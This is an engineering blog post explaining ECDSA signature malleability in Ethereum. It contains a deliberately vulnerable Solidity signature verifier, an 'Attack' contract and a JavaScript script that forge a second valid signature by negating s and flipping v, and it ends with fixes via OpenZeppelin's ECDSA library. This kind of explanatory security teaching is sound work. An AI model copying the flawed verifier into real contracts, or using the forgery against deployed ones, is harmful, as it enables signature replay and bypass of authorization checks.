Signature Malleability

Mehrad Kavian
DraftKings Engineering
6 min readJun 20, 2023

Many smart contracts rely on the validity of a signature or whether it has been used before to decide whether an action can be executed. In a blockchain-based application, digital signatures are a common way to prove that a transaction comes from a specific address and has not been compromised.

But what is signature malleability? Ethereum ECDSA(Elliptic Curve Digital Signature Algorithm) signatures allow attackers to change the signature slightly without invalidating the signature itself. This mainly happens when a smart contract doesn’t utilize ECDSA correctly and validates signatures improperly. This allows malicious actors to modify signatures to bypass signature validity measures.

One thing we need to keep in mind is that the attacker still doesn’t have any knowledge of the signer’s private key. They modify the properties of an existing signature (already used) and generate another valid signature that can be used to bypass security measures.

Where is the source of the issue?

Now that we know what signature malleability is, we can investigate where the issue comes from. ECDSA signatures are naturally malleable and can be modified while maintaining validity. To find the bug, we first need to explore ECDSA deeper. SECP256k1 is the specific curve used with ECDSA to generate key pairs and signatures. secp256k1 is a set of points on the curve using the equation y² = x³ + 7

This equation defines a curve similar to the one below.

y² = x³ + 7

The first thing we can notice from the curve is that it is symmetrical over the x-axis. This characteristic plays a massive role in the malleability of the signatures.

In ECDSA, signatures are represented as values (r,s). Generally, they are followed by another value v called the recovery value. The recovery value v is used to determine the public key from the value r. The public key of the signer is another point on the curve. Without value v, we will receive two candidate public keys reflecting each other over the x-axis. For example, let’s say we have an ECDSA signature (r, s, v) and a curve point P corresponding to one of the candidate public keys. The other candidate public key is then given by the point (x_P, y_P’), where x_P is the x-coordinate of P, and y_P’ is the negation of the y-coordinate of P.

  • r: the x-coordinate of a point generated during the signing process. To generate r, the signer must pick a random value k (1 < k < n where n is the number of points defined in SECP256k1) and generates another point (x,y) on the curve.
    The formula to generate this point is: (x,y) = k * G where G is the generator point on the elliptic curve. Generally, k is deterministically calculated using the private key and the message to be signed.
  • s: a value derived from the formula s = k^-1 * (e + d*r) mod n where e = hash(msg) and d is the signer’s private key.

Due to the x-axis symmetry, if (r,s) is a valid signature, so is (r, -s mod n) .

Let’s see an example in Solidity

First, we have a simple contract that receives a signature and hash of a message. For example, keccak256 hash of hello will be 0x1c8aff950685c2ed4bc3174f3472287b56d9517b9c948127319a09a7a36deac8. We can use the link below to sign the above hash by connecting our MetaMask wallet.

By passing the signature, signer’s address and the hash of the message to the SignatureMalleability.verify function, we should receive true . So far, we have ensured the signature we received from the above link is valid.

We also have a contract that receives a signature without knowing the signed message or the signer's private key, but it can generate a valid signature. All we need to do is to pass any valid signature to Attack.ManipulateSignature , and it should return a different signature that, if passed to SignatureMalleability.verify again, receives true .

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SignatureMalleability{

function verify(bytes32 _messageHash, bytes memory _sig, address _expectedSigner)
public pure returns (bool) {
bytes32 ethSignedHash = keccak256(
abi.encodePacked("\x19Ethereum Signed Message:\n32", _messageHash)
);
address signer = recoverSigner(ethSignedHash, _sig);
return signer == _expectedSigner;
}

function recoverSigner(bytes32 _ethSignedHash, bytes memory _sig)
public pure returns (address) {
require(_sig.length == 65, "Invalid signature length");
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(_sig, 32))
s := mload(add(_sig, 64))
v := byte(0, mload(add(_sig, 96)))
}
if (v < 27) {
v += 27;
}
require(v == 27 || v == 28, "Invalid signature v value");
return ecrecover(_ethSignedHash, v, r, s);
}

}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attack{

function manipulateSignature(bytes memory signature) public pure returns(bytes memory) {
(uint8 v, bytes32 r, bytes32 s) = splitSignature(signature);

uint8 manipulatedV = v % 2 == 0 ? v - 1 : v + 1;
uint256 manipulatedS = modNegS(uint256(s));
bytes memory manipulatedSignature = abi.encodePacked(r, bytes32(manipulatedS), manipulatedV);

return manipulatedSignature;
}

function splitSignature(bytes memory sig) public pure returns (uint8 v, bytes32 r, bytes32 s) {
require(sig.length == 65, "Invalid signature length");
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27) {
v += 27;
}
require(v == 27 || v == 28, "Invalid signature v value");
}

function modNegS(uint256 s) public pure returns (uint256) {

uint256 n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141;
return n - s;
}

}

Let’s use Javascript this time

If you don’t know how to work with a smart contract, don’t worry; we can test this malleability behaviour in any language where we can sign a message using the ECDSA algorithm. For the sake of web3 devs, we will be using Web3.js and BN.js since Javascript cannot work with the big integers we will be dealing with. So, make sure you install these two packages first.

const Web3 = require("web3");
const BN = require("bn.js");
const { assert } = require("chai");

const web3 = new Web3(Web3.givenProvider);

const N = new BN("0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141".substr(2), 16);


function Main(){
// let's generate a new account
let acc = web3.eth.accounts.create();
console.log(`Original Signer Address : ${acc.address}`);

// hash the message and sign the result
const msgHash = web3.utils.soliditySha3("hello");
//sign the hashed message
let sig = acc.sign(msgHash);

// lets make sure the recovered address is equal to the original signer
assert(acc.address == web3.eth.accounts.recover(msgHash, sig.signature), "Something is wrong w the signature");

// convert the signature S and V properties to a bigNumber, so we can manipulate them
let S = new BN(sig.s.substr(2), 16)
let newV = new BN(sig.v.substr(2), 16).mod(new BN('2')) == 0 ? new BN('1b', 16) : new BN('1c', 16);



let newSig = sig.r +
N.sub(S).toString(16) + // manipulate S
newV.toString(16);

let recoveredSignerFromNewSignature = web3.eth.accounts.recover(msgHash, newSig);
console.log(`Recovered Signer Address : ${acc.address}`);

assert(recoveredSignerFromNewSignature == acc.address, "Signers are not equal");
console.log("Signature works!!!")
}

Main()

All we have to do is to copy the above code and paste it into a NodeJs REPL, and we should be seeing logs like this:

// randomly generated account
Original Signer Address : 0xeF69029195d59655E982c26E654b34eEbc6075cA

// should be equal to the above message
Recovered Signer Address : 0xeF69029195d59655E982c26E654b34eEbc6075cA
Signature works!!!

If we see something similar to the above result, it means our assertions have been successful, and we successfully manipulated a signature without using the original message or the signer’s private key.

Fantastic, but how to fix the malleability issue?

There really isn’t a bug in the ecrecover. It behaves as it should. But we can still work around it in Solidity. The Smart Contract Weakness Registry suggests:

A signature should never be included into a signed message hash to check if previously messages have been processed by the contract.

The other and more common way is to use the latest version of the OpenZeppelin ECDSA library. As of now, the latest OZ Contracts version is 4.8.0 which fixes this issue. See the links below for more information.

Want to learn more about DraftKings’ global Engineering team and culture? Check out our Engineer Spotlights and current openings!

References and Resources

https://swcregistry.io/docs/SWC-117
The line in OpenZeppelin ECDSA library prevents malleability

https://www.youtube.com/watch?v=9ZKY8DoVCkI

https://github.com/obheda12/Solidity-Security-Compendium/blob/main/days/day12.md
https://github.com/ethereumbook/ethereumbook/blob/develop/04keys-addresses.asciidoc
https://blog.chainsafe.io/how-to-verify-a-signed-message-in-solidity-6b3100277424
https://emn178.github.io/online-tools/keccak_256.html
https://etherscan.io/verifiedSignatures

--

--